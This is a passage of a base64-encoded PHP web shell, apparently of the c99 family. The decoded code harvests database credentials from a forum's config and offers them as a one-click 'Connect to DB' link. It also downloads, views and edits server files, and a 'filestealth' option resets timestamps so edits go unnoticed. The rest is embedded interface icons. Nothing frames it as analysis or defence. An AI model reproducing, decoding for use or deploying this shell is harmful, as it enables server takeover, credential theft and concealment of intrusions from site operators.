JhdGlvbiBpcyBkZXRlY3RlZCBpbiB0aGlzIGZpbGUhPGJyPiI7DQogICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWw0IikgeyRkYm1zID0gIm15c3FsIjt9DQogICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9c3FsJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYmhvc3QpLiImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkZGJ1c2VyKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnBhc3N3ZCkuIiZzcWxfcG9ydD0zMzA2JnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkuIlwiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQ0KICAgICAgICBlbHNlIHtlY2hvICJCdXQsIHlvdSBjYW4ndCBjb25uZWN0IHRvIGZvcnVtIHNxbC1iYXNlLCBiZWNhdXNlIGRiLXNvZnR3YXJlPVwiIi4kZGJtcy4iXCIgaXMgbm90IHN1cHBvcnRlZCBieSB0aGlzIHNoZWxsLiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fQ0KICAgICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsNCiAgICAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7DQogICAgICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFzICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJzxicj4iO30NCiAgICAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgIH0NCiAgICB9DQogICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsNCiAgICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICAgaGlnaGxpZ2h0X2ZpbGUoJGQuJGYpOw0KICAgIGlmICghZW1wdHkoJHdoaXRlKSkge2NhcHJpdjhleGl0KCk7fQ0KICAgIGVjaG8gIjwvZGl2PiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikgew0KICAgIEBvYl9jbGVhbigpOw0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7DQogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOw0KICAgIGVjaG8gJHI7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiIudHh0XCI7Iik7DQogICAgZWNobygkcik7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaW1nIikgew0KICAgICRpbmYgPSBnZXRpbWFnZXNpemUoJGQuJGYpOw0KICAgIGlmICghJHdoaXRlKSB7DQogICAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9DQogICAgICAkd2lkdGggPSAkaW5mWzBdLzEwMCokaW1nc2l6ZTsNCiAgICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsNCiAgICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsNCiAgICAgICRzaXplcyA9IGFycmF5KCIxMDAiLCI1MCIsIjIwIik7DQogICAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpIHsNCiAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsNCiAgICAgICAgaWYgKCRpbWdzaXplICE9ICR2ICkge2VjaG8gJHY7fQ0KICAgICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9DQogICAgICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgfQ0KICAgICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB3aWR0aD1cIiIuJHdpZHRoLiJcIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIGJvcmRlcj1cIjFcIj48L2NlbnRlcj4iOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsNCiAgICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOw0KICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsNCiAgICAgIHJlYWRmaWxlKCRkLiRmKTsNCiAgICAgIGV4aXQ7DQogICAgfQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJlZGl0Iikgew0KICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgIHsNCiAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCRkLiRmKTt9DQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgIGVjaG8gIjxiPlNhdmVkITwvYj4iOw0KICAgICBmd3JpdGUoJGZwLCRlZGl0X3RleHQpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCRkLiRmLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgICRyID0gJGVkaXRfdGV4dDsNCiAgICB9DQogICB9DQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyKSk7DQogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQ0KICAgaWYgKCRyb3dzID4gMzApIHskcm93cyA9IDMwO30NCiAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4ieD1scyZkPSIuc3Vic3RyKCRkLDAsLTEpKS4iJztcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvdGV4dGFyZWE+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+VW5rbm93biBleHRlbnNpb24gKCIuJGV4dC4iKSwgcGxlYXNlLCBzZWxlY3QgdHlwZSBtYW51YWxseS48L2I+PC9jZW50ZXI+Ijt9DQp9DQplY2hvICI8L2Rpdj5cbiI7DQp9DQp9DQplbHNlIHsNCkBvYl9jbGVhbigpOw0KJGltYWdlcyA9IGFycmF5KA0KImFycm93X2x0ciI9Pg0KIlIwbEdPRGxoSmdBV0FJQUJBUC8vL3dBQUFDSDVCQUhvQXdFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1FTSXJVWkdab2VyS2YyOEtqUE5QT2FrdTVSZlordVFzS2g4UmlvZ0FBT3c9PSIsDQoiYmFjayI9Pg0KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLU1dXcGpWeXNTTmlZSjRDVU9CSm9xam5pSUx6d3V6THRZTi8zekJTRXJmNmtCVytnS1JpUFJnaFBoK0VGSzBtT1VFcXQiLg0KIldnMEpBRHM9IiwNCiJidWZmZXIiPT4NCiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vL2o0K04zZDNjek16TEt5c29hR2h2Ly8veUg1QkFFQUFBY0FMQUFBQUFBVUFCUUFBQU5vIi4NCiJlTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1VmpwNExtd0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1EIi4NCiJEbHd2NGNFQzQ2bWkyWWdKUUtheHNFR0RGbm5Hd1dEVEV6ajlqclBSZGJodUc4Q3IvMklOWklPRWhYc2JEd2tBT3c9PSIsDQoiY2hhbmdlIj0+DQoiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgrNkZ0SDU2V1p0dnIvUkFRRVplY3g5TGwvUFg2L3YzKyIuDQoiLzNlSHQ2cTg4ZUh1L1prZkgzeVZ5SXVRdCs3Mi9rT205OWZvL1A4QVptNTdya0dTNEhlejZwaWw5b2VwM0dabVp2Ly8veUg1QkFFQSIuDQoiQUI4QUxBQUFBQUFVQUJRQUFBV2Y0Q2VPWkdtZTZObXRMT3VsWCtjNFRWTlZRN2U5cUZ6Zmc0SEZvbmtkSkE1UzU0Y2JSQW9GeUVPQyIuDQoid1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4OG1kRytvQWJTWWRhSDRHYTNjOEpCTUphWFFHQlFnQSIuDQoiQ0hrakU0YVFrUTBBbFNJVGFuK1pBUXFraWlRUGoxQUZBYU1LRUtZakQzOVFyS3dLQWE4bkdRSzhBZ3UvQ3hUQ3NDTWV4c2ZJeGpETCIuDQoiek1zaEFEcz0iLA0KImRlbGV0ZSI9Pg0KIlIwbEdPRGxoRkFBVUFPWlpBUHo4L05QRnlOZ0hMczBZT3ZQejgvYjI5c2FjcE5YVjFmWDE5Y3dYT2ZEdzhLZW5wL241K2V0Z2V1bnAiLg0KIjZkY0dMTU1wUnVycTZwS1NrdHZiMisvdjcrMXdoM1IwZFBuUDE3aUFpcHh5ZWw5Zlg3ZGpjc2NTTTkzZDNaR1JrZUVzVGV2ZDRMQ3ciLg0KInNHUmtaR3BPVStJZlErRVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJzeGNjT3g4a2NNNFV0WTlXZUFkUVltSmlmV3YiLg0KInZIeDhmTW5KeWNNM1VmM3Y4clJ1ZTk4T05iT3pzOVlGSzVTVWxLWW9QK1RrNU4wb1N1Zm41N1pHV3NRclI5a0lMNUNRa09QajQyVmwiLg0KIlplQVBOdWRBWDlzS01QdjcrMTVRVTV1Ym0zOS9mOGU1dTR4aWF0cmEydWJLejhQRHcrcGZlZTkvbE1LMHQ4MXJmZDhBS2YvLy93QUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDUiLg0KIkJBRUFBRmtBTEFBQUFBQVVBQlFBQUFlc2dGbUNnNFNGaG9lSWhpVWZJSW1JTWxnUUI0NkdMQWxZUWthRlZWaFNBSVpMVDVjYkVZSTQiLg0KIlNUbzVNeE9maFF3QkExZ1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZoNEhESlJaVkZnUFBGQlIwRmtOV0RkTUhBOEciLg0KIkJaVGFNQ0lTVmdNQzRJa1ZXQ2NhUFNpOTZPcUdORmhLSTA0ZGdyMFFXRmNLREwzQTR1T0lqVlpaQUJ4UUlXREJMa0lFUXJSb1FzSFEiLg0KImp3VkZIQmdpRUdRRklnUWFzWWtjU2JKUUlBQTciLA0KImRvd25sb2FkIj0+DQoiUjBsR09EbGhGQUFVQUxNSUFBRC9BQUNBQUlBQUFNREF3SDkvZi84QUFQLy8vd0FBQVAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFVQUJRQUFBUk9FTWxKcTcwNFV5R092a0xoZlZVNGtwT0pTcHg1bkY5WWlDdExmMFN1SDdwdSIuDQoiRVlPZ2NCZ2t3QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpzTWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsDQoiZm9yd2FyZCI9Pg0KIlIwbEdPRGxoRkFBVUFQSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLMlFwOXhWNVdpTjVHNTBGWmFSTEQ2SWhFNjZMcHQzUkRiZDlDUUZTRTRQKytRVzdIZTdVS1BoMElxVncybDBSUVNFcXQiLg0KIldxc0pBRHM9IiwNCiJob21lIj0+DQoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNekxLeXNvYUdobVptWmdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUitNTWs1VFRXSTZpcHlNb08zY1VXUmdlSm9DQ2FMb0tPMG1xMFp4ak5TQkRXUyIuDQoia3JxQXNMZko3WVFCbDR0aVJDWUZTcFBNZFJSQ29RT2lMNGk4Q2daZ2swOVdmV0xCWVpIQjZVV2pDZXF1d0VESHVPRVZLM1F0Z04vaiIuDQoiVndNckJEWnZnRitDaEhhR2VZaUNCUVlIQ0g4VkJKYVdkQWVTbDVZaVc1K2dvQklSQURzPSIsDQoibW9kZSI9Pg0KIlIwbEdPRGxoSFFBVUFMTUFBQUFBQVAvLy82Q2dwTjNkM2N6TXpJYUdobVptWmw5ZlgvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBZEFCUUFBQVNCRU1sSnE3MDQ2MW02LytBSFpNVWduR2lxbmlOV0hIQXN6M0Y3RlVHdTczeE8iLg0KIjJCWmN3R0RvRVhrL1VxNElDQUNlUTZmem1YVGxuczBkZGxlOTliN2NGdllwRVI1NVoxMFh5MWxLdDh3cG9Jc0FDcmRhcUJwWUVZSy8iLg0KImRIMUxSV2lFZTBwUlRYQnZWSHdVZDNvNmVENk9IQVNYbUptYW1KVVNZNStnbnh1anBCSVJBRHM9IiwNCiJzZWFyY2giPT4NCiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TURBd0xLeXNvYUdobmQzZDJabVpsOWZYMDFOVFNrcEtRUUVCUC8vIi4NCiIvd0FBQUNINUJBRUFBQTRBTEFBQUFBQVVBQlFBQUFTbjBNbDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2FwIi4NCiJzNUlLUWNjejhYZ0s0RUdnUXFXTXZrclNzY3lsaG9hRlZtdVpMZ1VEQW5aeEVCTU9EU25ya2hpU0NaNENHclVXTUErTExEeHVTSHNEIi4NCiJBa040QzNzZkJYMTBWSGFCSjRRZkE0ZUlVNHBpalFjRm1DVm9Oa0ZsZ2djTVJTY05TVUNkSnlob0Rhc05aNU1URFZzWEJ3bHZpUm1yIi4NCiJDYnE3QzZzSXJxYXdyS3dUdjY4aXlBNnJEaEVBT3c9PSIsDQoic2V0dXAiPT4NCiJSMGxHT0RsaEZBQVVBTVFBQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNek1EQXdMS3lzcGFXbG9hR2huZDNkMlptWmw5ZlgwMU5UVUpDIi4NCiJRaHdjSFAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkFBTEFBQUFBQVVBQlFBQUFXVklDU0tpa0tXYURtdVNoQ1VianpNd0VvR2hWdnNmSEVFTlJZT2dlZ2xqa2VnMFBGNEtCSUZSTUlCIi4NCiJxQ2FDSjRlSUdRVm9JVldzVGZRb1hNZm9VZm1NWnJnWjJHTkRQR0lJN2dKRExZRXJ3RzF2Z1c4Q0NRdHpnSGlKQW5hRmh5dDJkd1FFIi4NCiJPd2NNWm9aMGtKS1VsWmVPZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93PT0iLA0KInNtYWxsX2RpciI9Pg0KImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJtSkxSMFFBQUFBQUFBRDVRN3QvQUFBQUNYQklXWE1BQUEzWEFBQU4xd0ZDS0p0NEFBQUFCM1JKVFVVSDFRc0tFamtOK2Qxd1VBQUFBWDlKUkVGVU9NdWxrVTJJVWxFWWhwOWpLdjVBcG9zUVdnUkJ0QTZDbVNDYTVTempZaEcwcVlnZ2lQNlkzV3htdHJNSW9sMVFNODRxUktSbFNWQzJiQmNZUnB1SUlpZ0ZDN0Y3ajBmUC9XWng3UXJpQmMyWER3NmN3L2U4TCs5Umx5Nlh0b3JGNGpaVE1zWUU1OERjMnR2ZGYwS0UxSjE3dCtYNjFSc3pIN1gyZUxiM2xGNnZkNlZhcVQyUEJKU2NpN1ErdGFKTWVOdDRNMzMxcUZxcFBRQ0lBNlRUR1k3azhwRUE1MElwY0ZNS3BSUzFGOVg3UUFBd3h1QjVMcTgvOW1sMk1zeWx3dzVuYmpwU1NPblBZWUptSjhQampYVzBzWE14VXNsRDNIMVlQeFVIOER3WGdKKy9OVi9hZitjQ25EaWFCU0NtdFNhZG5qUDZETVZjMXcwVC9CZmdYd2RMQVJaTllLMlBIZ1psaDcrUWlQa0lJQ0lvcFJBUlJNQVh3VnBoYUgzTVNCaU1MRU1yNUxMSkNjRHpYSTduQm5UN2hoOWREMFRoSTR3SEVSQUVrVEVZR0ZtWkFINTEycHcrZTQ0UFgvK01sd0ozRWZBUkJBVWlZYXFWa3dYcUwxK1IxOS9MNnZ5MW5ZYWJPTGEyYUhuWjRiZjM3OHFicXl5ckE4S0h0TXFuc09MNEFBQUFBRWxGVGtTdVFtQ0MiLA0KInNtYWxsX3VuayI9Pg0KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQUllcDNCRTltbGxpYzNCNWlWcGpkTXZoL01MYyt5MVUiLg0KInA5UG0vR1Z1ZmM3ai9NelYvOVhtL0VPbTk5Ym4vTmpwL2E3USt0VG0vTEhTK2VYdy90M3IvTm5wL2Rqby9OcnEvZmo3Lzl2cS9OZm8iLg0KIi9NYmUrOHJoL01uZys3alcrcnZZK3I3Wis3WFI5ZERrL05Iay9OTGwvTFRVK3JuWCs4emkvTGJWKytmeC9lNzIvdkgzL3ZMNC91MzEiLg0KIi9lMzEvdUR1L2R6ci9PcnovZUh1L2ZYNi92SDQvdi8vLy92Ky8zZXo2dmY3Ly9UNS9rR1M0UHY5LzdYVitySFQrci9iK3J6YSt2UDQiLg0KIi91ejAvdXJ6L3U3MS91dnovZFRuL00vay9OM3MvZHZyL2NqZys4UGQrOEhjK3NmZis4VGUrL0QyL3JYSThySEY4YnJNODdmSjhubVAiLg0KIndyM044Ni9EOEt2QjhGOW5lRUZvdEVCbnRFTnB0RU5wdFN4VXB4MUlvRGxmclRSY3JaZWV5WmFjeHBtaHpJdVJ0cFdaeEl1T3VLcXoiLg0KIjlaT1d3WDZJczNXSXU1aW0wN3JKOUoydDJaZWswbTU3cnBxbzFuS0N0VVZydFlpcjN2ZjYvNDZ2NFl1dTRXWnZmcjdQNnNQUzZzRFEiLg0KIjY2WEI2Y2paOGEvSzc5L3MvZGJuL2V6ei9jemQ5bU4waktUQjZhaS83Nlc5N25pWHoyR0N3VjZBd1Vkc3RYeVZ5R1NEd25tWXo0aW8iLg0KIjI0T2kxYTNCNDVTeTRhZTk0NENjejRTajFuMkdsZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBam5BQ3RWQ2tDdzRKeEpBUVFxRkJqQXhvME1OR3FzQUJRQWg2Q0ZBM25rME1IaVJSRVZEaHpzb0xRd0FKMGdUNFRvZWNTSEFZTXoiLg0KImFRZ29ETkNDU0I0RUFuSW1DaVNCalV5R0xvYmdYQlRwa0FBNUk2cGdtU2tEejVjdU1Tejh5V2xBeW9DWkZHYjRTUUtoQVNNQlhKcE0iLg0KInVTclFFUXdrR2pZa1FDVEF5NkFsVU1oV2tsUUJ3NE1FaGdTQTZYUGdSeFM1aWk0MEtMRmdpNEJHVEVLQXNDS1hpaEVTQ3pyc2dTUUMiLg0KInlJa1VWK1NxT1lMQ0E0Y3NBdXA4Nk9HRGtOdzRCcFE0T2FCRmdCMFRFeUlVS3FEd1RSczRhOXlNQ1NPbURCb3ladTRzSktDZ3dJRGoiLg0KInlBc29rQmtRQURzPSIsDQoibXVsdGlwYWdlIj0+IlIwbEdPRGxoQ2dBTUFKRURBUC8vLy8vM21RQUFBQUFBQUNINUJBRUFBQU1BTEFBQUFBQUtBQXdBQUFJajNJUiIuDQoicEpoQ09Ebm92aWRBb3ZCZE16emtpeGxYZGxJMm9acEpXRXNTeXdMelJVQUFBT3c9PSIsDQoic29ydF9hc2MiPT4NCiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1hIi4NCiJTTHJjUGNFOUdLVWFRbFE1c041UGxvRkxKMzVPb0s2cTVTWUFPdz09IiwNCiJzb3J0X2Rlc2MiPT4NCiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1iIi4NCiJTTHJjT2pCQ0I0VVZJVGd5THQ1Y2gybWdTSlpEQmk3cDZoSUpBRHM9IiwNCiJzcWxfYnV0dG9uX2Ryb3AiPT4NCiJSMGxHT0RsaENRQUxBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4NCiIvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFBenpBQXovd0JtIi4NCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4NCiJNd0QvWmdEL21RRC96QUQvL3pNQUFETUFNek1BWmpNQW1UTUF6RE1BL3pNekFETXpNek16WmpNem1UTXp6RE16L3pObUFETm1Nek5tIi4NCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQL016UC9aalAvIi4NCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4NCiJ6R1ptLzJhWkFHYVpNMmFaWm1hWm1XYVp6R2FaLzJiTUFHYk1NMmJNWm1iTW1XYk16R2JNLzJiL0FHYi9NMmIvWm1iL21XYi96R2IvIi4NCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVpsbXpKbG0vNW1aIi4NCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4NCiJNOHdBWnN3QW1jd0F6TXdBLzh3ekFNd3pNOHd6WnN3em1jd3p6TXd6Lzh4bUFNeG1NOHhtWnN4bW1jeG16TXhtLzh5WkFNeVpNOHlaIi4NCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4QU0vOEFadjhBIi4NCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4NCiJ6UCtaLy8vTUFQL01NLy9NWnYvTW1mL016UC9NLy8vL0FQLy9NLy8vWnYvL21mLy96UC8vL3lINUJBRUFBQkFBTEFBQUFBQUpBQXNBIi4NCiJBQWc0QVA4SlJFRlE0RCtDQ0JPaTRNYXdJVGVGQ2cvaVFoRVB4Y1NCbEZDb1E1Rng0TVNLdjFCZ1JHR01vMGlKRkMyZWhIalNvTXQvIi4NCiJBUUVBT3c9PSIsDQoic3FsX2J1dHRvbl9lbXB0eSI9Pg0KIlIwbEdPRGxoQ1FBS0FQY0FBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ0lDQWdNREF3UDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLg0KIi8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTXdBQVpnQUFtUUFBekFBQS93QXpBQUF6TXdBelpnQXptUUF6ekFBei93Qm0iLg0KIkFBQm1Nd0JtWmdCbW1RQm16QUJtL3dDWkFBQ1pNd0NaWmdDWm1RQ1p6QUNa